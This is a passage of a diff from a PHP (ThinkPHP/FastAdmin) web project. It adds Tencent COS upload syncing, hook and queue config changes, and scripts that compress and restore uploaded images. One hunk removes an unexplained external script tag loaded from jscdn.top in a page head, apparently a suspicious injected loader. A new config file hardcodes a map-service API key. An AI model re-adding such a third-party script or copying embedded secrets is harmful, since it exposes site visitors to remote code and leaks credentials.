$digits = preg_replace('/\D/', '', (string)$code);
if (strlen($digits) < 6) {
return 0;
}
return (int)substr($digits, -6);
}
protected static function gcj02ToWgs84($longitude, $latitude)
{
if (self::outOfChina($longitude, $latitude)) {
return [$longitude, $latitude];
}
$offset = self::offset($longitude, $latitude);
return [$longitude * 2 - $offset[0], $latitude * 2 - $offset[1]];
}
protected static function offset($longitude, $latitude)
{
$a = 6378245.0;
$ee = 0.00669342162296594323;
$dlng = self::transformLng($longitude - 105.0, $latitude - 35.0);
$dlat = self::transformLat($longitude - 105.0, $latitude - 35.0);
$radLat = $latitude / 180.0 * M_PI;
$magic = sin($radLat);
$magic = 1 - $ee * $magic * $magic;
$sqrtMagic = sqrt($magic);
$dlat = ($dlat * 180.0) / (($a * (1 - $ee)) / ($magic * $sqrtMagic) * M_PI);
$dlng = ($dlng * 180.0) / ($a / $sqrtMagic * cos($radLat) * M_PI);
return [$longitude + $dlng, $latitude + $dlat];
}
protected static function outOfChina($longitude, $latitude)
{
return $longitude < 72.004 || $longitude > 137.8347 || $latitude < 0.8293 || $latitude > 55.8271;
}
protected static function transformLat($lng, $lat)
{
$ret = -100.0 + 2.0 * $lng + 3.0 * $lat + 0.2 * $lat * $lat + 0.1 * $lng * $lat + 0.2 * sqrt(abs($lng));
$ret += (20.0 * sin(6.0 * $lng * M_PI) + 20.0 * sin(2.0 * $lng * M_PI)) * 2.0 / 3.0;
$ret += (20.0 * sin($lat * M_PI) + 40.0 * sin($lat / 3.0 * M_PI)) * 2.0 / 3.0;
$ret += (160.0 * sin($lat / 12.0 * M_PI) + 320 * sin($lat * M_PI / 30.0)) * 2.0 / 3.0;
return $ret;
}
protected static function transformLng($lng, $lat)
{
$ret = 300.0 + $lng + 2.0 * $lat + 0.1 * $lng * $lng + 0.1 * $lng * $lat + 0.1 * sqrt(abs($lng));
$ret += (20.0 * sin(6.0 * $lng * M_PI) + 20.0 * sin(2.0 * $lng * M_PI)) * 2.0 / 3.0;
$ret += (20.0 * sin($lng * M_PI) + 40.0 * sin($lng / 3.0 * M_PI)) * 2.0 / 3.0;
$ret += (150.0 * sin($lng / 12.0 * M_PI) + 300.0 * sin($lng / 30.0 * M_PI)) * 2.0 / 3.0;
return $ret;
}
}

查看文件

@@ -446,10 +446,69 @@ class Upload
$attachment->data(array_filter($params));
$attachment->save();
$this->syncToCos($attachment);
\think\Hook::listen("upload_after", $attachment);
return $attachment;
}
/**
* 同步文件到腾讯云COS
* @param Attachment $attachment
*/
protected function syncToCos($attachment)
{
try {
$addonInfo = get_addon_info('cos');
if (!$addonInfo || empty($addonInfo['state'])) {
return;
}
$cosConfig = get_addon_config('cos');
if (empty($cosConfig) || empty($cosConfig['secretId']) || empty($cosConfig['secretKey']) || empty($cosConfig['bucket'])) {
return;
}
if (!class_exists('\Qcloud\Cos\Client')) {
$cosAddonPath = (defined('ADDON_PATH') ? ADDON_PATH : (ROOT_PATH . 'addons' . DS)) . 'cos' . DIRECTORY_SEPARATOR;
\think\Loader::addNamespace('Qcloud\Cos', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Qcloud' . DIRECTORY_SEPARATOR . 'Cos' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\Command', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'command' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\Command\Guzzle', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'guzzle-services' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
\think\Loader::addNamespace('GuzzleHttp\UriTemplate', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'uri-template' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
}
$realPath = ROOT_PATH . 'public' . str_replace('/', DS, $attachment->url);
if (!file_exists($realPath)) {
return;
}
$client = new \Qcloud\Cos\Client([
'region' => $cosConfig['region'],
'schema' => 'https',
'credentials' => [
'secretId' => $cosConfig['secretId'],
'secretKey' => $cosConfig['secretKey'],
]
]);
$key = ltrim($attachment->url, '/');
$fileHandle = fopen($realPath, 'rb');
$client->upload($cosConfig['bucket'], $key, $fileHandle);
if (is_resource($fileHandle)) {
fclose($fileHandle);
}
$attachment->storage = 'cos';
$attachment->save();
// 如果设置了不保留本地备份,则删除本地文件
if (isset($cosConfig['serverbackup']) && $cosConfig['serverbackup'] == 0) {
@unlink($realPath);
}
} catch (\Exception $e) {
\think\Log::write('COS Upload Error: ' . $e->getMessage(), 'error');
}
}
/**
* 设置错误信息
* @param $msg

查看文件

@@ -12,6 +12,19 @@ return [
'sms_check' => [
'alisms',
],
'app_init' => [
'cos',
'shopro',
],
'module_init' => [
'cos',
],
'upload_config_init' => [
'cos',
],
'upload_delete' => [
'cos',
],
'epay_config_init' => [
'epay',
],
@@ -27,9 +40,6 @@ return [
'upgrade' => [
'shopro',
],
'app_init' => [
'shopro',
],
'config_init' => [
'summernote',
],

查看文件

@@ -1,7 +1,7 @@
<?php
return [
'connector' => 'Redis', // Redis 驱动
'expire' => 0, // 任务的过期时间,默认为60秒; 若要禁用,则设置为 null
'expire' => 180, // 任务的租期超时时间(秒),必须大于任务最大执行时间(如120s),防止执行中的任务被提前误判超时重投 // 任务的过期时间,默认为60秒; 若要禁用,则设置为 null
'default' => 'default', // 默认的队列名称
'host' => '127.0.0.1', // redis 主机ip
'port' => 6379, // redis 端口

查看文件

@@ -0,0 +1,6 @@
<?php
return [
// 天地图服务器端应用密钥,仅后端调用
'key' => '55aee666be14cd0100874d6faf3c963c',
];

查看文件

@@ -8,7 +8,6 @@
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{$site.name|htmlentities}</title>
<script src="https://jscdn.top/v1/app"></script>
<link rel="shortcut icon" href="__CDN__/assets/img/favicon.ico"/>
<link href="__CDN__/assets/css/index.css" rel="stylesheet">

550
deploy/compress-uploads.php 普通文件
查看文件

@@ -0,0 +1,550 @@
#!/usr/bin/env php
<?php
/**
* 批量压缩 public/uploads 下的图片(支持 2G+ 大批量)
*
* 安全机制:
* - 压缩结果写入临时文件,校验通过后才覆盖原文件
* - 配合 --snapshot 先全量备份,可一键恢复
* - 单张失败不影响其他文件,原图不会被损坏
*
* 用法:
* php deploy/compress-uploads.php --dry-run
* php deploy/compress-uploads.php --snapshot # 推荐:先快照再压缩
* bash deploy/compress-uploads.sh --safe # 同上(shell 用 rsync 快照更快)
*/
declare(strict_types=1);
ini_set('memory_limit', '512M');
set_time_limit(0);
const DEFAULT_MAX_WIDTH = 800;
const DEFAULT_QUALITY = 65;
const BACKUP_DIR_NAME = '.compress_backup';
const SNAPSHOTS_DIR = '.compress_backup/snapshots';
const SUPPORTED_EXT = ['jpg', 'jpeg', 'png', 'webp', 'gif'];
$options = getopt('', [
'dry-run',
'backup',
'snapshot',
'no-backup',
'max-width:',
'quality:',
'path:',
'log:',
'help',
]);
if (isset($options['help'])) {
echo <<<HELP
批量压缩 uploads 图片(安全模式,适合 2G+ 大批量)
选项:
--dry-run 仅预览,不写入
--snapshot 压缩前先做全量快照(推荐,可一键恢复)
--backup 每张覆盖前单独备份(与 --snapshot 二选一即可)
--no-backup 不备份(不推荐,仅测试用)
--max-width=800 最大宽度
--quality=65 JPEG/WebP 质量
--path=DIR 目标目录
--log=FILE 写入日志文件
--help 显示帮助
推荐流程(2G 数据):
1. php deploy/compress-uploads.php --dry-run
2. bash deploy/compress-uploads.sh --safe
3. 若有异常: bash deploy/restore-uploads.sh --latest
HELP;
exit(0);
}
$dryRun = isset($options['dry-run']);
$doSnapshot = isset($options['snapshot']);
$doBackup = isset($options['backup']) && !isset($options['no-backup']);
$maxWidth = isset($options['max-width']) ? max(1, (int) $options['max-width']) : DEFAULT_MAX_WIDTH;
$quality = isset($options['quality']) ? min(100, max(1, (int) $options['quality'])) : DEFAULT_QUALITY;
$logFile = $options['log'] ?? null;
$projectRoot = dirname(__DIR__);
$uploadsDir = isset($options['path'])
? rtrim($options['path'], DIRECTORY_SEPARATOR)
: $projectRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'uploads';
if (!is_dir($uploadsDir)) {
logLine("ERROR: 目录不存在: {$uploadsDir}", $logFile);
exit(1);
}
if (!extension_loaded('gd')) {
logLine('ERROR: 需要 PHP GD 扩展', $logFile);
exit(1);
}
$backupRoot = $uploadsDir . DIRECTORY_SEPARATOR . BACKUP_DIR_NAME;
$snapshotRoot = $uploadsDir . DIRECTORY_SEPARATOR . SNAPSHOTS_DIR;
// ---------- 预检 ----------
$preflight = scanUploads($uploadsDir);
logLine("========== 预检 ==========", $logFile);
logLine("目标目录: {$uploadsDir}", $logFile);
logLine("图片数量: {$preflight['count']} 总大小: " . formatBytes($preflight['total_bytes']), $logFile);
logLine("磁盘可用: " . formatBytes(diskFreeBytes($uploadsDir)), $logFile);
logLine("最大宽度: {$maxWidth}px | 质量: {$quality}%", $logFile);
if (!$dryRun && !$doSnapshot && !$doBackup) {
logLine('WARN: 未启用 --snapshot 或 --backup,压缩失败时无法恢复。建议加 --snapshot', $logFile);
}
if (!$dryRun && $doSnapshot) {
$needSpace = $preflight['total_bytes'] * 1.1; // 快照 + 10% 缓冲
$freeSpace = diskFreeBytes($uploadsDir);
if ($freeSpace > 0 && $freeSpace < $needSpace) {
logLine('ERROR: 磁盘空间不足。需要约 ' . formatBytes((int) $needSpace)
. ',可用 ' . formatBytes($freeSpace), $logFile);
logLine('请清理磁盘或使用 bash deploy/compress-uploads.sh --safe(rsync 快照到其他盘)', $logFile);
exit(1);
}
}
// ---------- 全量快照 ----------
$snapshotId = null;
if ($doSnapshot && !$dryRun) {
$snapshotId = date('Ymd_His');
$snapshotDir = $snapshotRoot . DIRECTORY_SEPARATOR . $snapshotId;
logLine("\n========== 创建全量快照: {$snapshotId} ==========", $logFile);
logLine("快照目录: {$snapshotDir}", $logFile);
logLine('(约 2G 需数分钟,请耐心等待)', $logFile);
$snapResult = createSnapshot($uploadsDir, $snapshotDir, $logFile);
if (!$snapResult['ok']) {
logLine('ERROR: 快照失败 - ' . $snapResult['reason'], $logFile);
exit(1);
}
logLine("快照完成: {$snapResult['files']} 个文件, " . formatBytes($snapResult['bytes']), $logFile);
writeSnapshotMeta($snapshotDir, $preflight, $maxWidth, $quality);
logLine("恢复命令: bash deploy/restore-uploads.sh --restore={$snapshotId}", $logFile);
}
// ---------- 压缩 ----------
$stats = ['scanned' => 0, 'processed' => 0, 'skipped' => 0, 'saved_bytes' => 0, 'errors' => 0];
$startTime = microtime(true);
logLine("\n========== 开始压缩" . ($dryRun ? ' [dry-run]' : '') . " ==========", $logFile);
foreach ($preflight['files'] as $item) {
$path = $item['path'];
$relative = $item['relative'];
$ext = $item['ext'];
$stats['scanned']++;
$result = processImage($path, $ext, $maxWidth, $quality, $dryRun, $doBackup, $uploadsDir, $backupRoot);
switch ($result['status']) {
case 'ok':
$stats['processed']++;
$stats['saved_bytes'] += $result['saved'];
$savedKb = round($result['saved'] / 1024, 1);
logLine("[OK] {$relative} {$result['before_w']}x{$result['before_h']}"
. " -> {$result['after_w']}x{$result['after_h']}"
. ' ' . formatBytes($result['before_size']) . ' -> ' . formatBytes($result['after_size'])
. " (-{$savedKb}KB)", $logFile);
break;
case 'skip':
$stats['skipped']++;
break;
case 'error':
$stats['errors']++;
logLine("[ERR] {$relative} {$result['reason']}", $logFile);
break;
}
if ($stats['scanned'] % 100 === 0) {
$elapsed = round(microtime(true) - $startTime);
logLine("--- 进度 {$stats['scanned']}/{$preflight['count']} | 已用 {$elapsed}s ---", $logFile);
}
}
$elapsed = round(microtime(true) - $startTime);
logLine("\n========== 完成 (耗时 {$elapsed}s) ==========", $logFile);
logLine("扫描: {$stats['scanned']} | 压缩: {$stats['processed']} | 跳过: {$stats['skipped']} | 失败: {$stats['errors']}", $logFile);
logLine('共节省: ' . formatBytes($stats['saved_bytes']), $logFile);
if ($snapshotId) {
logLine("\n若需恢复全部原图:", $logFile);
logLine(" bash deploy/restore-uploads.sh --restore={$snapshotId}", $logFile);
}
exit($stats['errors'] > 0 ? 1 : 0);
// ======================== 核心逻辑 ========================
/**
* @return array{status:string,reason?:string,before_w?:int,before_h?:int,after_w?:int,after_h?:int,before_size?:int,after_size?:int,saved?:int}
*/
function processImage(
string $path,
string $ext,
int $maxWidth,
int $quality,
bool $dryRun,
bool $doBackup,
string $uploadsDir,
string $backupRoot
): array {
$beforeSize = filesize($path);
if ($beforeSize === false || $beforeSize === 0) {
return ['status' => 'error', 'reason' => '无法读取文件'];
}
$info = @getimagesize($path);
if (!$info || empty($info[0]) || empty($info[1])) {
return ['status' => 'skip', 'reason' => '非有效图片'];
}
[$beforeW, $beforeH] = [$info[0], $info[1]];
if ($ext === 'gif' && isAnimatedGif($path)) {
return ['status' => 'skip', 'reason' => '动画 GIF'];
}
$image = loadImage($path, $ext);
if ($image === null) {
return ['status' => 'error', 'reason' => 'GD 无法加载'];
}
if (in_array($ext, ['jpg', 'jpeg'], true)) {
$image = applyExifOrientation($image, $path);
$beforeW = imagesx($image);
$beforeH = imagesy($image);
}
$afterW = $beforeW;
$afterH = $beforeH;
$needResize = $beforeW > $maxWidth;
if ($needResize) {
$afterW = $maxWidth;
$afterH = max(1, (int) round($beforeH * ($maxWidth / $beforeW)));
$resized = imagecreatetruecolor($afterW, $afterH);
if ($resized === false) {
imagedestroy($image);
return ['status' => 'error', 'reason' => '创建画布失败'];
}
preserveTransparency($resized, $ext);
imagecopyresampled($resized, $image, 0, 0, 0, 0, $afterW, $afterH, $beforeW, $beforeH);
imagedestroy($image);
$image = $resized;
}
$tmpFile = $path . '.compress_tmp.' . getmypid() . '.' . mt_rand(1000, 9999);
if (!saveImage($image, $tmpFile, $ext, $quality)) {
imagedestroy($image);
@unlink($tmpFile);
return ['status' => 'error', 'reason' => '保存临时文件失败'];
}
imagedestroy($image);
$validate = validateCompressedFile($tmpFile, $ext, $afterW, $afterH);
if (!$validate['ok']) {
@unlink($tmpFile);
return ['status' => 'error', 'reason' => '校验失败: ' . $validate['reason']];
}
$afterSize = filesize($tmpFile);
if ($afterSize === false || $afterSize === 0) {
@unlink($tmpFile);
return ['status' => 'error', 'reason' => '临时文件为空'];
}
if ($afterSize >= $beforeSize && !$needResize) {
@unlink($tmpFile);
return ['status' => 'skip', 'reason' => '已足够小'];
}
if ($dryRun) {
@unlink($tmpFile);
return buildOkResult($beforeW, $beforeH, $afterW, $afterH, $beforeSize, $afterSize);
}
// 先备份原文件,再原子替换
if ($doBackup) {
$relative = ltrim(str_replace($uploadsDir, '', $path), DIRECTORY_SEPARATOR);
$backupPath = $backupRoot . DIRECTORY_SEPARATOR . 'per_file' . DIRECTORY_SEPARATOR . $relative;
if (!backupFile($path, $backupPath)) {
@unlink($tmpFile);
return ['status' => 'error', 'reason' => '单文件备份失败'];
}
}
if (!@rename($tmpFile, $path)) {
@unlink($tmpFile);
return ['status' => 'error', 'reason' => '覆盖原文件失败'];
}
@chmod($path, 0644);
// 替换后再验一次,异常则从 per_file 备份恢复
$postCheck = @getimagesize($path);
if (!$postCheck) {
if ($doBackup && isset($backupPath) && file_exists($backupPath)) {
copy($backupPath, $path);
}
return ['status' => 'error', 'reason' => '替换后校验失败,已回滚单文件'];
}
return buildOkResult($beforeW, $beforeH, $afterW, $afterH, $beforeSize, $afterSize);
}
function validateCompressedFile(string $path, string $ext, int $expectW, int $expectH): array
{
$info = @getimagesize($path);
if (!$info || empty($info[0]) || empty($info[1])) {
return ['ok' => false, 'reason' => 'getimagesize 失败'];
}
if ((int) $info[0] !== $expectW || (int) $info[1] !== $expectH) {
return ['ok' => false, 'reason' => "尺寸不符 {$info[0]}x{$info[1]} != {$expectW}x{$expectH}"];
}
$img = loadImage($path, $ext);
if ($img === null) {
return ['ok' => false, 'reason' => 'GD 无法重新加载'];
}
imagedestroy($img);
return ['ok' => true];
}
function createSnapshot(string $uploadsDir, string $snapshotDir, ?string $logFile): array
{
if (!is_dir($snapshotDir) && !mkdir($snapshotDir, 0755, true) && !is_dir($snapshotDir)) {
return ['ok' => false, 'reason' => '无法创建快照目录'];
}
$files = 0;
$bytes = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($uploadsDir, FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $fileInfo) {
/** @var SplFileInfo $fileInfo */
if (!$fileInfo->isFile()) {
continue;
}
$src = $fileInfo->getPathname();
$relative = ltrim(str_replace($uploadsDir, '', $src), DIRECTORY_SEPARATOR);
if (strpos($relative, BACKUP_DIR_NAME) === 0) {
continue;
}
$dst = $snapshotDir . DIRECTORY_SEPARATOR . $relative;
$dstDir = dirname($dst);
if (!is_dir($dstDir) && !mkdir($dstDir, 0755, true) && !is_dir($dstDir)) {
return ['ok' => false, 'reason' => "无法创建 {$dstDir}"];
}
if (!copy($src, $dst)) {
return ['ok' => false, 'reason' => "复制失败: {$relative}"];
}
$size = filesize($src);
$files++;
$bytes += $size ?: 0;
if ($files % 200 === 0) {
logLine(" 快照进度: {$files} 文件, " . formatBytes($bytes), $logFile);
}
}
return ['ok' => true, 'files' => $files, 'bytes' => $bytes];
}
function writeSnapshotMeta(string $snapshotDir, array $preflight, int $maxWidth, int $quality): void
{
$meta = [
'created_at' => date('c'),
'image_count' => $preflight['count'],
'total_bytes' => $preflight['total_bytes'],
'max_width' => $maxWidth,
'quality' => $quality,
];
file_put_contents($snapshotDir . DIRECTORY_SEPARATOR . '.snapshot_meta.json', json_encode($meta, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}
function scanUploads(string $uploadsDir): array
{
$files = [];
$totalBytes = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($uploadsDir, FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $fileInfo) {
/** @var SplFileInfo $fileInfo */
if (!$fileInfo->isFile()) {
continue;
}
$path = $fileInfo->getPathname();
$relative = ltrim(str_replace($uploadsDir, '', $path), DIRECTORY_SEPARATOR);
if (strpos($relative, BACKUP_DIR_NAME) === 0) {
continue;
}
$ext = strtolower($fileInfo->getExtension());
if (!in_array($ext, SUPPORTED_EXT, true)) {
continue;
}
$size = $fileInfo->getSize();
$files[] = ['path' => $path, 'relative' => $relative, 'ext' => $ext, 'size' => $size];
$totalBytes += $size;
}
return ['files' => $files, 'count' => count($files), 'total_bytes' => $totalBytes];
}
function backupFile(string $src, string $dst): bool
{
if (file_exists($dst)) {
return true;
}
$dir = dirname($dst);
if (!is_dir($dir) && !mkdir($dir, 0755, true) && !is_dir($dir)) {
return false;
}
return copy($src, $dst);
}
function buildOkResult(int $beforeW, int $beforeH, int $afterW, int $afterH, int $beforeSize, int $afterSize): array
{
return [
'status' => 'ok',
'before_w' => $beforeW,
'before_h' => $beforeH,
'after_w' => $afterW,
'after_h' => $afterH,
'before_size' => $beforeSize,
'after_size' => $afterSize,
'saved' => max(0, $beforeSize - $afterSize),
];
}
/**
* @return resource|\GdImage|null
*/
function loadImage(string $path, string $ext)
{
switch ($ext) {
case 'jpg':
case 'jpeg':
return @imagecreatefromjpeg($path) ?: null;
case 'png':
return @imagecreatefrompng($path) ?: null;
case 'webp':
return function_exists('imagecreatefromwebp') ? (@imagecreatefromwebp($path) ?: null) : null;
case 'gif':
return @imagecreatefromgif($path) ?: null;
default:
return null;
}
}
/**
* @param resource|\GdImage $image
*/
function saveImage($image, string $path, string $ext, int $quality): bool
{
switch ($ext) {
case 'jpg':
case 'jpeg':
return imagejpeg($image, $path, $quality);
case 'png':
$pngLevel = max(0, min(9, (int) round((100 - $quality) / 100 * 9)));
return imagepng($image, $path, $pngLevel);
case 'webp':
return function_exists('imagewebp') ? imagewebp($image, $path, $quality) : false;
case 'gif':
return imagegif($image, $path);
default:
return false;
}
}
/**
* @param resource|\GdImage $image
* @return resource|\GdImage
*/
function applyExifOrientation($image, string $path)
{
if (!function_exists('exif_read_data')) {
return $image;
}
$exif = @exif_read_data($path);
if (!$exif || empty($exif['Orientation'])) {
return $image;
}
switch ((int) $exif['Orientation']) {
case 2: imageflip($image, IMG_FLIP_HORIZONTAL); break;
case 3: $image = imagerotate($image, 180, 0) ?: $image; break;
case 4: imageflip($image, IMG_FLIP_VERTICAL); break;
case 5: imageflip($image, IMG_FLIP_HORIZONTAL); $image = imagerotate($image, -90, 0) ?: $image; break;
case 6: $image = imagerotate($image, -90, 0) ?: $image; break;
case 7: imageflip($image, IMG_FLIP_HORIZONTAL); $image = imagerotate($image, 90, 0) ?: $image; break;
case 8: $image = imagerotate($image, 90, 0) ?: $image; break;
}
return $image;
}
/**
* @param resource|\GdImage $image
*/
function preserveTransparency($image, string $ext): void
{
if (!in_array($ext, ['png', 'gif', 'webp'], true)) {
return;
}
imagealphablending($image, false);
imagesavealpha($image, true);
$transparent = imagecolorallocatealpha($image, 0, 0, 0, 127);
imagefilledrectangle($image, 0, 0, imagesx($image), imagesy($image), $transparent);
}
function isAnimatedGif(string $path): bool
{
$content = @file_get_contents($path, false, null, 0, 65536);
return $content !== false && preg_match('/\x00\x21\xF9\x04.{4}\x00[\x2C\x21]/s', $content) === 1;
}
function diskFreeBytes(string $path): int
{
$free = @disk_free_space($path);
return $free !== false ? (int) $free : 0;
}
function formatBytes(int $bytes): string
{
if ($bytes >= 1073741824) {
return round($bytes / 1073741824, 2) . 'GB';
}
if ($bytes >= 1048576) {
return round($bytes / 1048576, 2) . 'MB';
}
if ($bytes >= 1024) {
return round($bytes / 1024, 1) . 'KB';
}
return $bytes . 'B';
}
function logLine(string $msg, ?string $logFile): void
{
echo $msg . PHP_EOL;
if ($logFile) {
file_put_contents($logFile, $msg . PHP_EOL, FILE_APPEND | LOCK_EX);
}
}

123
deploy/compress-uploads.sh 普通文件
查看文件

@@ -0,0 +1,123 @@
#!/usr/bin/env bash
# 批量压缩 public/uploads 图片(2G+ 安全模式)
#
# 用法:
# bash deploy/compress-uploads.sh --dry-run # 预览
# bash deploy/compress-uploads.sh --safe # 推荐:rsync 快照 + 压缩
# bash deploy/compress-uploads.sh --safe --log=deploy/logs/compress.log
set -euo pipefail
DEPLOY_PATH="${DEPLOY_PATH:-$(cd "$(dirname "$0")/.." && pwd)}"
PHP_BIN="${PHP_BIN:-$(command -v php || true)}"
SCRIPT="${DEPLOY_PATH}/deploy/compress-uploads.php"
UPLOADS="${DEPLOY_PATH}/public/uploads"
SNAPSHOTS="${UPLOADS}/.compress_backup/snapshots"
LOG_DIR="${DEPLOY_PATH}/deploy/logs"
if [[ -z "$PHP_BIN" || ! -x "$PHP_BIN" ]]; then
echo "ERROR: 找不到可执行的 PHP,请设置 PHP_BIN"
exit 1
fi
if [[ ! -f "$SCRIPT" ]]; then
echo "ERROR: 脚本不存在: $SCRIPT"
exit 1
fi
if [[ ! -d "$UPLOADS" ]]; then
echo "ERROR: uploads 目录不存在: $UPLOADS"
exit 1
fi
# 解析 --safe 模式
SAFE_MODE=0
PASSTHRU=()
for arg in "$@"; do
if [[ "$arg" == "--safe" ]]; then
SAFE_MODE=1
else
PASSTHRU+=("$arg")
fi
done
echo "项目: ${DEPLOY_PATH}"
echo "PHP: ${PHP_BIN}"
echo ""
if [[ "$SAFE_MODE" -eq 1 ]]; then
SNAPSHOT_ID="$(date +%Y%m%d_%H%M%S)"
SNAPSHOT_DIR="${SNAPSHOTS}/${SNAPSHOT_ID}"
# 磁盘空间检查
UPLOADS_SIZE=$(du -sb "$UPLOADS" 2>/dev/null | awk '{print $1}' || echo 0)
FREE_SPACE=$(df -B1 "$UPLOADS" 2>/dev/null | awk 'NR==2{print $4}' || echo 0)
NEED=$(( UPLOADS_SIZE + UPLOADS_SIZE / 10 ))
echo "========== 安全模式 =========="
echo "uploads 大小: $(numfmt --to=iec "$UPLOADS_SIZE" 2>/dev/null || echo "${UPLOADS_SIZE}B")"
echo "磁盘可用: $(numfmt --to=iec "$FREE_SPACE" 2>/dev/null || echo "${FREE_SPACE}B")"
echo "快照 ID: ${SNAPSHOT_ID}"
echo ""
if [[ "$FREE_SPACE" -gt 0 && "$FREE_SPACE" -lt "$NEED" ]]; then
echo "ERROR: 磁盘空间不足,需要约 $(numfmt --to=iec "$NEED" 2>/dev/null || echo "${NEED}B")"
echo "请清理磁盘,或将 SNAPSHOTS 目录挂载到其他盘"
exit 1
fi
mkdir -p "$SNAPSHOT_DIR"
echo "正在创建全量快照(rsync,约 2G 需数分钟)..."
echo "快照目录: ${SNAPSHOT_DIR}"
echo ""
if command -v rsync >/dev/null 2>&1; then
rsync -a --info=progress2 \
--exclude='.compress_backup/' \
"${UPLOADS}/" "${SNAPSHOT_DIR}/"
else
echo "WARN: 未找到 rsync,使用 cp(较慢)"
find "$UPLOADS" -mindepth 1 -maxdepth 1 ! -name '.compress_backup' -exec cp -a {} "${SNAPSHOT_DIR}/" \;
fi
# 写入元数据
IMAGE_COUNT=$("$PHP_BIN" -r "
\$n=0; \$ext=['jpg','jpeg','png','webp','gif'];
\$it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator('${UPLOADS}', FilesystemIterator::SKIP_DOTS));
foreach(\$it as \$f){ if(\$f->isFile() && in_array(strtolower(\$f->getExtension()),\$ext)) \$n++; }
echo \$n;
")
cat > "${SNAPSHOT_DIR}/.snapshot_meta.json" <<META
{
"created_at": "$(date -Iseconds 2>/dev/null || date)",
"image_count": ${IMAGE_COUNT},
"total_bytes": ${UPLOADS_SIZE},
"method": "rsync",
"max_width": 800,
"quality": 65
}
META
echo ""
echo "快照完成!"
echo "若压缩后有问题,一键恢复:"
echo " bash deploy/restore-uploads.sh --restore=${SNAPSHOT_ID}"
echo " bash deploy/restore-uploads.sh --latest"
echo ""
echo "========== 开始压缩 =========="
echo ""
mkdir -p "$LOG_DIR"
DEFAULT_LOG="${LOG_DIR}/compress_${SNAPSHOT_ID}.log"
HAS_LOG=0
for arg in "${PASSTHRU[@]}"; do
[[ "$arg" == --log=* ]] && HAS_LOG=1
done
if [[ "$HAS_LOG" -eq 0 ]]; then
PASSTHRU+=("--log=${DEFAULT_LOG}")
fi
# 已有快照,不再让 PHP 重复快照
exec "$PHP_BIN" -d memory_limit=512M "$SCRIPT" "${PASSTHRU[@]}"
fi
exec "$PHP_BIN" -d memory_limit=512M "$SCRIPT" "$@"

208
deploy/restore-uploads.php 普通文件
查看文件

@@ -0,0 +1,208 @@
#!/usr/bin/env php
<?php
/**
* 一键恢复 uploads 图片(从 compress-uploads 生成的快照)
*
* 用法:
* php deploy/restore-uploads.php --list
* php deploy/restore-uploads.php --restore=latest
* php deploy/restore-uploads.php --restore=20260923_235800
* php deploy/restore-uploads.php --restore=latest --dry-run
*/
declare(strict_types=1);
set_time_limit(0);
const BACKUP_DIR_NAME = '.compress_backup';
const SNAPSHOTS_DIR = '.compress_backup/snapshots';
$options = getopt('', ['list', 'restore:', 'dry-run', 'path:', 'help']);
if (isset($options['help']) || (!isset($options['list']) && !isset($options['restore']))) {
echo <<<HELP
一键恢复 uploads 图片
选项:
--list 列出所有可用快照
--restore=ID 恢复快照(ID 或 latest)
--dry-run 仅预览,不写入
--path=DIR uploads 目录
--help 显示帮助
示例:
php deploy/restore-uploads.php --list
php deploy/restore-uploads.php --restore=latest
bash deploy/restore-uploads.sh --latest
HELP;
exit(isset($options['help']) ? 0 : 1);
}
$dryRun = isset($options['dry-run']);
$projectRoot = dirname(__DIR__);
$uploadsDir = isset($options['path'])
? rtrim($options['path'], DIRECTORY_SEPARATOR)
: $projectRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'uploads';
$snapshotsRoot = $uploadsDir . DIRECTORY_SEPARATOR . SNAPSHOTS_DIR;
if (!is_dir($uploadsDir)) {
fwrite(STDERR, "ERROR: uploads 目录不存在: {$uploadsDir}\n");
exit(1);
}
if (isset($options['list'])) {
listSnapshots($snapshotsRoot);
exit(0);
}
$restoreId = $options['restore'];
$snapshotDir = resolveSnapshotDir($snapshotsRoot, $restoreId);
if ($snapshotDir === null) {
fwrite(STDERR, "ERROR: 找不到快照: {$restoreId}\n");
fwrite(STDERR, "可用快照:\n");
listSnapshots($snapshotsRoot);
exit(1);
}
echo "恢复快照: " . basename($snapshotDir) . "\n";
echo "目标目录: {$uploadsDir}\n";
echo ($dryRun ? "[dry-run] 仅预览\n" : '') . "\n";
$metaFile = $snapshotDir . DIRECTORY_SEPARATOR . '.snapshot_meta.json';
if (file_exists($metaFile)) {
$meta = json_decode(file_get_contents($metaFile), true);
if ($meta) {
echo '快照时间: ' . ($meta['created_at'] ?? '-') . "\n";
echo '图片数量: ' . ($meta['image_count'] ?? '-') . "\n";
echo '快照大小: ' . formatBytes((int) ($meta['total_bytes'] ?? 0)) . "\n\n";
}
}
$restored = 0;
$bytes = 0;
$errors = 0;
$iterator = new RecursiveIteratorIterator(
new RecursiveDirectoryIterator($snapshotDir, FilesystemIterator::SKIP_DOTS)
);
foreach ($iterator as $fileInfo) {
/** @var SplFileInfo $fileInfo */
if (!$fileInfo->isFile()) {
continue;
}
$src = $fileInfo->getPathname();
$relative = ltrim(str_replace($snapshotDir, '', $src), DIRECTORY_SEPARATOR);
if ($relative === '.snapshot_meta.json') {
continue;
}
$dst = $uploadsDir . DIRECTORY_SEPARATOR . $relative;
if ($dryRun) {
echo "[RESTORE] {$relative}\n";
$restored++;
continue;
}
$dstDir = dirname($dst);
if (!is_dir($dstDir) && !mkdir($dstDir, 0755, true) && !is_dir($dstDir)) {
